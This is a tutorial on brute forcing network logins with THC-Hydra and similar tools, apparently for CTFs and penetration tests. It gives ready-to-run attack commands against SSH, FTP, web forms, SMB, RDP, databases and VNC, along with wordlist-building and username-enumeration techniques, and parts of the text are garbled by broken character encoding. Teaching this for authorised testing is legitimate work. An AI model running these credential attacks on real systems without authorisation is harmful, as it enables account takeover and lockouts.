kavklaw@llm $ cat hydra-guide.md
โฑ๏ธ 20 min read ยท Master online password cracking from basic syntax to advanced HTTP form attacks
Need to brute force a login right now? Here are the most common commands. The -l flag sets a single username, -P points to a password wordlist file, and the last part specifies the protocol and target:
# SSH โ single user, wordlist password
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.100
# FTP โ try anonymous first, then brute force
hydra -l anonymous -p anonymous ftp://10.10.10.100
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://10.10.10.100
# HTTP POST form login
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
10.10.10.100 http-post-form \
"/login:username=^USER^&password=^PASS^:Invalid credentials"
# HTTP Basic Auth
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
10.10.10.100 http-get /admin/
That covers the most common scenarios. Now let's understand every option, handle edge cases, and learn when brute force is (and isn't) the right approach.
Before diving into Hydra, it helps to understand what happens when you type a username and password into any service. At its core, authentication is simple: the client sends credentials to the server, and the server checks them against its stored records. If they match, you're in; if not, you get an error. That's the loop Hydra exploits โ it automates sending thousands of credential pairs and watches for a "success" response instead of a "failure" one.
But the way credentials travel differs by protocol, and this matters for how Hydra works:
/etc/shadow through PAM, but it could also be LDAP, Kerberos, or other mechanisms. SSH is slow per attempt because of the crypto overhead, which is why you need fewer threads (-t 4).username=admin&password=test). The web application checks them against its database. This is fast โ web servers handle thousands of requests per second โ so you can use more threads (-t 64).There are two fundamentally different approaches to cracking passwords, and confusing them is a common beginner mistake:
/etc/shadow, or SAM file). You hash candidates locally on your own hardware and compare. No network involved. Typical speed: billions per second for MD5 on a GPU.The implication: online attacks require small, targeted wordlists because each attempt is slow and noisy. Offline attacks can exhaust massive wordlists because computation is local and fast. Hydra is your tool when you don't have the hashes; John/Hashcat are your tools when you do.
Hydra (officially THC-Hydra) is a fast, parallelized, online password cracking tool. Brute forcing means systematically trying many username/password combinations until you find one that works. It supports over 50 protocols and is the standard tool for brute forcing network service logins. "Online" means it attacks live services by actually trying to log in, as opposed to "offline" tools like hashcat or John the Ripper that crack password hashes (scrambled password representations) from files you've already obtained.
Hydra is developed by The Hacker's Choice (THC) and comes pre-installed on Kali Linux. It supports protocols including:
The key strength of Hydra is its parallelism โ it can try multiple username/password combinations simultaneously across multiple connections, dramatically speeding up attacks.
Hydra comes pre-installed on Kali Linux and Parrot OS. For other systems:
# Debian/Ubuntu
sudo apt install hydra
# Fedora/RHEL
sudo dnf install hydra
# macOS (via Homebrew)
brew install hydra
# Build from source (latest features)
git clone https://github.com/vanhauser-thc/thc-hydra.git
cd thc-hydra && ./configure && make && sudo make install
# Verify installation
hydra -h | head -5
What you'll need: A target service (IP + port), at least one username, and a password wordlist. The rockyou.txt wordlist ships with Kali at /usr/share/wordlists/rockyou.txt โ you may need to decompress it first with sudo gunzip /usr/share/wordlists/rockyou.txt.gz.
Understanding Hydra's syntax is essential. Every command follows this pattern:
hydra [options] target protocol [module-options]
# Key options:
# -l LOGIN Single username
# -L FILE Username wordlist
# -p PASS Single password
# -P FILE Password wordlist
# -s PORT Custom port (if non-default)
# -t TASKS Parallel connections (default: 16)
# -f Stop after first valid pair found
# -V Verbose โ show every attempt
# -vV Very verbose โ show every attempt + info
# -o FILE Write results to file
# -I Ignore existing restore file
# -u Loop around users, not passwords
# -e nsr Try: n=null password, s=login as password, r=reversed login
# Single username + password wordlist (most common)
hydra -l admin -P wordlist.txt target ssh
# Username wordlist + single password
hydra -L users.txt -p Password123 target ssh
# Both wordlists
hydra -L users.txt -P passwords.txt target ssh
# Single username + single password (just testing)
hydra -l admin -p admin123 target ssh
# Try null password, login as password, reversed login
hydra -l admin -P wordlist.txt -e nsr target ssh
# This also tries: admin/(empty), admin/admin, admin/nimda
๐ก Pro Tip: Always use-e nsralongside your wordlist. It adds three extra checks (null password, username as password, reversed username) that cost almost nothing but catch lazy credentials surprisingly often.admin/adminis still one of the most common default credentials.
A brute force attack is only as good as its wordlist. Here are the ones you'll use most:
# rockyou.txt โ the classic (14 million passwords from the 2009 RockYou breach)
# May need to decompress first:
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
wc -l /usr/share/wordlists/rockyou.txt
# 14,344,392 passwords
# SecLists โ curated wordlists for everything
sudo apt install seclists
ls /usr/share/seclists/Passwords/
# Common-Credentials/
# Default-Credentials/
# Leaked-Databases/
# Permutations/
# Top passwords (smaller, faster)
/usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt
/usr/share/seclists/Passwords/Common-Credentials/best1050.txt
/usr/share/seclists/Passwords/darkweb2017-top10000.txt
# Default credentials by service
/usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt
/usr/share/seclists/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt
# Username lists
/usr/share/seclists/Usernames/Names/names.txt
/usr/share/seclists/Usernames/top-usernames-shortlist.txt
# CeWL โ generate wordlist from target's website
cewl http://target.htb -d 3 -m 5 -w custom_wordlist.txt
# -d 3 = spider depth of 3
# -m 5 = minimum word length 5
# cupp โ Common User Passwords Profiler
cupp -i
# Interactive โ asks for target's name, birthday, pet, etc.
# Generates targeted password variations
# crunch โ generate wordlists by pattern
crunch 8 8 -t @@@@2024 -o custom.txt
# 8 char passwords ending in "2024" with 4 lowercase letters
# Combine and deduplicate
cat wordlist1.txt wordlist2.txt | sort -u > combined.txt
๐ก Pro Tip: Start small. Don't immediately throw rockyou.txt (14M passwords) at a service. Start with the top 1000, then 10k, then the full list. Many CTF passwords are intentionally in the top few thousand. Running the full rockyou at 16 threads against SSH can take hours.
SSH is the most commonly brute-forced service in CTFs and real engagements.
# Basic SSH brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.100
# With custom port
hydra -l admin -P /usr/share/wordlists/rockyou.txt -s 2222 ssh://10.10.10.100
# Multiple usernames
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.100
# Reduce threads โ SSH often limits concurrent connections
hydra -l admin -P /usr/share/wordlists/rockyou.txt -t 4 ssh://10.10.10.100
# Stop on first success
hydra -l admin -P /usr/share/wordlists/rockyou.txt -f ssh://10.10.10.100
# Verbose โ see what's happening
hydra -l admin -P /usr/share/wordlists/rockyou.txt -vV -t 4 ssh://10.10.10.100
โ ๏ธ Important: SSH servers commonly throttle or block brute force attempts. OpenSSH'sMaxStartupslimits concurrent unauthenticated connections andMaxAuthTrieslimits attempts per connection โ exact values vary by server config. If Hydra shows many[ERROR] could not connectmessages, reduce threads with-t 4or even-t 1. Too many threads will get you blocked or produce false negatives.
FTP is a common target because it often allows anonymous access and has weak configurations.
# ALWAYS check anonymous access first
hydra -l anonymous -p anonymous ftp://10.10.10.100
# Or with an empty password:
hydra -l anonymous -p "" ftp://10.10.10.100
# Standard brute force
hydra -l ftpuser -P /usr/share/wordlists/rockyou.txt ftp://10.10.10.100
# With verbose output
hydra -l admin -P passwords.txt -vV ftp://10.10.10.100
# Try default credentials
hydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt \
ftp://10.10.10.100
# -C uses a colon-separated file (user:pass format)
# Create a credential file (user:pass format)
cat << 'EOF' > creds.txt
admin:admin
admin:password
root:root
ftp:ftp
anonymous:anonymous
test:test
EOF
# Use with -C (replaces -l/-L and -p/-P)
hydra -C creds.txt ftp://10.10.10.100
This is where most beginners struggle. HTTP form brute forcing requires understanding the login form structure: what fields are submitted, what URL they go to, and how to tell success from failure.
View the form source (browser: right-click โ View Source). Look for:
<form action="/login" method="POST">
<input type="text" name="username">
<input type="password" name="password">
<input type="submit" value="Login">
</form>
Key info needed:
/loginPOSTusernamepassword# Use curl to see what a failed login looks like
curl -X POST http://10.10.10.100/login \
-d "username=admin&password=wrongpassword" -v
Look for failure indicators in the response: "Invalid credentials", "Login failed", "Incorrect password", "Invalid username or password", or a redirect to /login?error=1.
Also check with Burp Suite: Proxy โ intercept the login request. This shows you EXACTLY what's being sent.
Now you put it all together. The Hydra HTTP form syntax has three parts separated by colons: the URL path, the POST body with ^USER^ and ^PASS^ placeholders (which Hydra replaces with each username/password it tries), and the failure string (text that appears when login fails).
# HTTP POST form syntax:
# hydra ... http-post-form "/PATH:BODY:FAILURE_STRING"
#
# ^USER^ โ replaced with username
# ^PASS^ โ replaced with password
# Standard form login
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
10.10.10.100 http-post-form \
"/login:username=^USER^&password=^PASS^:Invalid credentials"
# With additional form fields (CSRF tokens, etc.)
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
10.10.10.100 http-post-form \
"/login:username=^USER^&password=^PASS^&submit=Login:Invalid"
# HTTPS (use https-post-form)
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
10.10.10.100 https-post-form \
"/login:username=^USER^&password=^PASS^:Login failed"
# With cookies (some forms require a session cookie)
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
10.10.10.100 http-post-form \
"/login:username=^USER^&password=^PASS^:F=incorrect:H=Cookie: PHPSESSID=abc123"
# Using success string instead of failure string (S= prefix)
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
10.10.10.100 http-post-form \
"/login:username=^USER^&password=^PASS^:S=Dashboard"
$ hydra ssh://10.10.10.100
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.100. The key flags: -l (lowercase) is a single username, -P (uppercase) is a password wordlist file. Lowercase flags are single values, uppercase flags are file-based lists. For SSH, you should also add -t 4 to reduce threads (SSH rate limits connections).http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials". Getting the failure string wrong causes false positives or missed passwords.$ hydra -l admin -P wordlist.txt 10.10.10.100 "/login:user=^USER^&pass=^PASS^:Invalid"
http-post-form for HTTP or https-post-form for HTTPS. The syntax requires three colon-separated parts: the path, the POST body (with ^USER^ and ^PASS^ placeholders), and the failure string. For HTTP GET requests with Basic Auth, use http-get instead. Mixing up http and https causes connection failures.-e nsr flag alongside your wordlist?๐ก Pro Tip: The failure string is the most critical part. If it's wrong, Hydra will either report every attempt as successful or miss the real password. Test with a known-bad password first and note exactly what text appears. UseF=prefix for failure strings andS=for success strings. When in doubt, use a shorter, more unique failure string.
# JSON API login
hydra -l admin -P wordlist.txt \
10.10.10.100 http-post-form \
'/api/login:{"username"\:"^USER^","password"\:"^PASS^"}:F=unauthorized:H=Content-Type\: application/json'
# Form with custom headers
hydra -l admin -P wordlist.txt \
10.10.10.100 http-post-form \
"/login:user=^USER^&pass=^PASS^:F=failed:H=X-Forwarded-For\: 127.0.0.1"
# Non-standard port
hydra -l admin -P wordlist.txt -s 8080 \
10.10.10.100 http-post-form \
"/login:username=^USER^&password=^PASS^:Invalid"
# Follow redirects (use the :R parameter)
# Some apps redirect on success/failure โ this handles that
HTTP Basic Authentication is simpler. The browser shows a popup asking for credentials, and they're sent as a Base64-encoded header.
# HTTP GET with Basic Auth
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
10.10.10.100 http-get /admin/
# HTTPS Basic Auth
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
10.10.10.100 https-get /admin/
# With custom port
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
-s 8080 10.10.10.100 http-get /protected/
SMB brute forcing targets Windows file sharing authentication. Be careful: Windows has account lockout policies.
# SMB brute force
hydra -l administrator -P /usr/share/wordlists/rockyou.txt \
smb://10.10.10.100
# With domain
hydra -l admin -P wordlist.txt -m "WORKGROUP" \
smb://10.10.10.100
# Multiple users โ use -u to loop users first
hydra -L users.txt -P passwords.txt -u smb://10.10.10.100
# -u tries user1:pass1, user2:pass1, user3:pass1 THEN user1:pass2...
# This avoids lockout by spreading attempts across users
โ ๏ธ Warning: SMB brute forcing can trigger account lockouts in Active Directory environments. Lockout policies vary โ some domains set low thresholds (3-5 attempts), others disable lockout entirely. Always check the domain's lockout policy first (net accounts /domain). Use-uto spread attempts across users, and consider password spraying (one password against many users) instead of traditional brute force.
# RDP brute force
hydra -l administrator -P wordlist.txt rdp://10.10.10.100
# Note: RDP is slow and has lockout protection
# Use crowbar instead for better results:
crowbar -b rdp -s 10.10.10.100/32 -u administrator -C wordlist.txt
# MySQL brute force
hydra -l root -P wordlist.txt mysql://10.10.10.100
# MySQL on non-standard port
hydra -l root -P wordlist.txt -s 3307 mysql://10.10.10.100
# VNC brute force (VNC typically has only a password, no username)
hydra -P wordlist.txt vnc://10.10.10.100
# VNC on custom port
hydra -P wordlist.txt -s 5901 vnc://10.10.10.100
# SMTP brute force (email server login)
hydra -l [email protected] -P wordlist.txt smtp://10.10.10.100
# SMTP VRFY โ enumerate valid users
hydra -L users.txt -p test smtp-enum://10.10.10.100
# PostgreSQL
hydra -l postgres -P wordlist.txt postgres://10.10.10.100
# SNMP community string brute force
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt \
10.10.10.100 snmp
Hydra's speed comes from running multiple login attempts in parallel. More threads aren't always better, though.
# Default: 16 parallel tasks
hydra -l admin -P wordlist.txt ssh://10.10.10.100
# Increase threads (for tolerant services like HTTP)
hydra -l admin -P wordlist.txt -t 64 10.10.10.100 http-post-form \
"/login:user=^USER^&pass=^PASS^:Invalid"
# Decrease threads (for strict services like SSH)
hydra -l admin -P wordlist.txt -t 4 ssh://10.10.10.100
# Wait time between attempts (seconds)
hydra -l admin -P wordlist.txt -W 2 ssh://10.10.10.100
# Connection timeout (seconds)
hydra -l admin -P wordlist.txt -w 10 ssh://10.10.10.100
# Resume a stopped/crashed session
hydra -R # Reads the hydra.restore file
| Protocol | Max Threads | Notes |
|---|---|---|
| SSH | 4-8 | Rate limiting, MaxStartups |
| FTP | 8-16 | Connection limits vary |
| HTTP-Form | 32-64 | Web servers handle concurrency well |
| HTTP-GET (Basic) | 32-64 | Similar to forms |
| SMB | 4-8 | Account lockout risk |
| RDP | 1-4 | Very slow protocol, lockout risk |
| MySQL | 4-8 | Connection limits |
| VNC | 4 | Slow authentication |
Hydra isn't the only online brute force tool. Here are alternatives with specific strengths:
# Medusa โ modular brute forcer (similar to Hydra)
medusa -h 10.10.10.100 -u admin -P wordlist.txt -M ssh
# Medusa advantages:
# - More stable for some protocols
# - Better threading model
# - Module-based architecture
# Supported modules
medusa -d # List all modules
# Crowbar โ specialized for SSH keys and RDP
# Install:
sudo apt install crowbar
# RDP brute force (better than Hydra for RDP)
crowbar -b rdp -s 10.10.10.100/32 -u administrator -C wordlist.txt
# SSH with private key authentication
crowbar -b sshkey -s 10.10.10.100/32 -u root -k /path/to/keys/
# VNC
crowbar -b vnckey -s 10.10.10.100/32 -p password123
# Patator โ Python-based, very flexible
patator ssh_login host=10.10.10.100 user=admin \
password=FILE0 0=wordlist.txt
# HTTP form
patator http_fuzz url=http://10.10.10.100/login method=POST \
body='user=admin&pass=FILE0' 0=wordlist.txt \
-x ignore:fgrep='Invalid credentials'
For HTTP form attacks, Burp Suite's Intruder is often easier than Hydra โ you can visually set payload positions, use multiple payload sets, and see every response in detail. The free version is throttled but fine for CTFs.
Brute force is a last resort, not a first step. Try everything else first:
Signs you're being rate limited:
[ERROR] could not connect to targetMitigation: reduce threads (-t 1 or -t 2), add wait time (-W 5), use a smaller targeted wordlist, or consider password spraying instead.
Account lockout detection: if you see "Account locked" in responses, STOP. You're locking out legitimate users โ this is harmful in real engagements.
โ ๏ธ Important: In real-world penetration tests, always coordinate brute force attacks with the client. Account lockouts disrupt business. In CTFs, there are no such restrictions โ but the challenge usually doesn't require brute forcing the full rockyou.txt. If you're past 10,000 attempts without a hit, you're probably on the wrong track.
Here's a systematic approach to online password attacks:
Password Attack Escalation Path
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Cheapest / Fastest Most Expensive / Slowest
โ โ
โผ โผ
Default creds โ Credential โ Password โ Targeted โ Full
admin/admin reuse from spraying custom rockyou.txt
root/root other finds (1 pass wordlist (14M, last
(seconds) (seconds) N users) (CeWL) resort)
# 1. Identify the service and version
nmap -sV -p 22,80,21,445,3306 10.10.10.100
# 2. Check for default credentials
# Google: "[service name] [version] default credentials"
# Check: https://cirt.net/passwords
# Check: https://www.defaultpassword.com/
# 3. Enumerate valid usernames (if possible)
# SSH: some versions leak valid users via timing
# SMTP: VRFY command or RCPT TO enumeration
# Web: different error messages for valid vs invalid users
# SMB: enum4linux, rpcclient
# 4. Build targeted username list
echo -e "admin\nroot\nadministrator\nuser\ntest" > users.txt
# 1. Try null/default credentials
hydra -l admin -e nsr ssh://10.10.10.100
# 2. Try known default credential lists
hydra -C /usr/share/seclists/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt \
ssh://10.10.10.100
# 3. Try credential reuse from other findings
# If you found admin:P@ssw0rd on the web app, try it on SSH
hydra -l admin -p 'P@ssw0rd' ssh://10.10.10.100
# 1. Start with small wordlist
hydra -l admin -P /usr/share/seclists/Passwords/Common-Credentials/best1050.txt \
-t 4 -f ssh://10.10.10.100
# 2. If no result, try top 10k
hydra -l admin -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt \
-t 4 -f ssh://10.10.10.100
# 3. Generate custom wordlist from target
cewl http://target.htb -d 2 -m 6 -w target_words.txt
# Mutate with rules
john --wordlist=target_words.txt --rules=best64 --stdout > mutated.txt
hydra -l admin -P mutated.txt -t 4 -f ssh://10.10.10.100
# 4. Last resort: rockyou.txt
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
-t 4 -f ssh://10.10.10.100
# Challenge hint: "The admin likes rock music"
# This tells you the password is probably in rockyou.txt
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
-t 4 -f ssh://10.10.10.100
# [22][ssh] host: 10.10.10.100 login: admin password: rockstar
# 1. Inspect the form
curl http://10.10.10.100/login.php | grep -i "form\|input\|name="
# <form action="/login.php" method="post">
# <input name="user" type="text">
# <input name="pass" type="password">
# 2. Test a failed login
curl -X POST http://10.10.10.100/login.php \
-d "user=admin&pass=wrong" -v 2>&1 | grep -i "invalid\|error\|failed"
# "Invalid username or password"
# 3. Brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
10.10.10.100 http-post-form \
"/login.php:user=^USER^&pass=^PASS^:Invalid username or password" -t 32 -f
# 1. Check anonymous first
hydra -l anonymous -p "" ftp://10.10.10.100
# [21][ftp] host: 10.10.10.100 login: anonymous password:
# 2. Anonymous works! Look for files
ftp 10.10.10.100 # login as anonymous
ftp> ls -la
ftp> get note.txt # Found a note with username hints
# 3. Note says: "john, please change your password"
hydra -l john -P /usr/share/wordlists/rockyou.txt ftp://10.10.10.100 -t 8
-f flag tells Hydra to stop after finding the first valid login. Without it, Hydra continues trying every remaining password even after success โ wasting time and creating unnecessary noise in logs. Always use -f when you only need one valid credential pair (which is most situations).โ Mistake #1: Wrong failure string in HTTP form attacks.
If your failure string doesn't match what the server actually returns, Hydra will report false positives (every password "works") or miss the real password. Always test with curl first and use an exact, unique substring from the failure response.
โ Mistake #2: Too many threads for SSH.
SSH servers limit concurrent connections (default MaxStartups: 10:30:60 in OpenSSH). Using-t 16or higher causes connection errors and missed passwords. Use-t 4for SSH.
โ Mistake #3: Starting with rockyou.txt.
14 million passwords ร SSH speed = hours. Start with top 1000, then 10k, then custom wordlists. Only use rockyou.txt as a last resort. If the password isn't in the top 10k, you might be on the wrong track entirely.
โ Mistake #4: Not trying default credentials first.
Before any brute force, try admin/admin, admin/password, root/root, and service-specific defaults. Check the service documentation and default credential databases.
โ Mistake #5: Forgetting-f(stop on first success).
Without-f, Hydra continues trying passwords even after finding valid credentials. This wastes time and creates unnecessary noise. Always use-fwhen you only need one valid credential.
โ Mistake #6: Ignoring HTTPS vs HTTP.
If the login page is served over HTTPS, you needhttps-post-form, nothttp-post-form. Mixing these up causes connection failures that look like the target is down.
โ Mistake #7: Not checking for account lockout.
In real engagements, triggering account lockout is a finding โ but also disrupts the client's business. Check the lockout policy before brute forcing (net accounts /domainon Windows, or enumerate via LDAP). AD lockout thresholds are configurable and vary widely โ don't assume you know the limit.